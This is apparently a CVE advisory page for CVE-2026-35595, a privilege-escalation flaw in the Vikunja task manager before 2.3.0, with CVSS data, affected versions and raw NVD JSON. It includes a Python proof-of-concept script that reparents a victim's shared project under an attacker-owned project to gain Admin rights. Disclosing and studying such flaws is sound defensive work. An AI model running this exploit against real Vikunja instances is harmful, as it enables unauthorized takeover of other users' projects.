Security Vulnerability Report
中文
CVE-2026-35595 CVSS 8.3 HIGH

CVE-2026-35595

Published: 2026-04-10 17:17:03
Last Modified: 2026-04-17 22:00:14

Description

Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CanUpdate check at pkg/models/project_permissions.go:139-148 only requires CanWrite on the new parent project when changing parent_project_id. However, Vikunja's permission model uses a recursive CTE that walks up the project hierarchy to compute permissions. Moving a project under a different parent changes the permission inheritance chain. When a user has inherited Write access (from a parent project share) and reparents the child project under their own project tree, the CTE resolves their ownership of the new parent as Admin (permission level 2) on the moved project. This vulnerability is fixed in 2.3.0.

CVSS Details

CVSS Score
8.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:vikunja:vikunja:*:*:*:*:*:*:*:* - VULNERABLE
Vikunja < 2.3.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-35595 # Description: Exploits the permission inheritance logic to gain Admin rights on a project by moving it. import requests TARGET_URL = "http://target-vikunja-instance.com/api/v1" API_TOKEN = "attacker_jwt_token" # Headers headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } # IDs # Victim's Project ID (where attacker has write access via share) victim_project_id = 101 # Attacker's Project ID (owned by attacker) attacker_project_id = 202 # Payload to update the parent project # This triggers the vulnerability: CanUpdate checks CanWrite on new parent, # but the result grants Admin on the moved project due to CTE logic. payload = { "parent_project_id": attacker_project_id, "id": victim_project_id } try: # Send the request to update the project response = requests.post( f"{TARGET_URL}/projects/{victim_project_id}", headers=headers, json=payload ) if response.status_code == 200: print("[+] Exploit successful!") print(f"[+] Project {victim_project_id} moved under {attacker_project_id}.") print("[+] Attacker now has Admin privileges on the victim's project.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35595", "sourceIdentifier": "[email protected]", "published": "2026-04-10T17:17:02.910", "lastModified": "2026-04-17T22:00:13.683", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CanUpdate check at pkg/models/project_permissions.go:139-148 only requires CanWrite on the new parent project when changing parent_project_id. However, Vikunja's permission model uses a recursive CTE that walks up the project hierarchy to compute permissions. Moving a project under a different parent changes the permission inheritance chain. When a user has inherited Write access (from a parent project share) and reparents the child project under their own project tree, the CTE resolves their ownership of the new parent as Admin (permission level 2) on the moved project. This vulnerability is fixed in 2.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vikunja:vikunja:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.0", "matchCriteriaId": "CC8B46CF-6E7B-46F4-8275-D1A38F2A6D5E"}]}]}], "references": [{"url": "https://github.com/go-vikunja/vikunja/commit/c03d682f48aff890eeb3c8b41d38226069722827", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/go-vikunja/vikunja/pull/2583", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-2vq4-854f-5c72", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}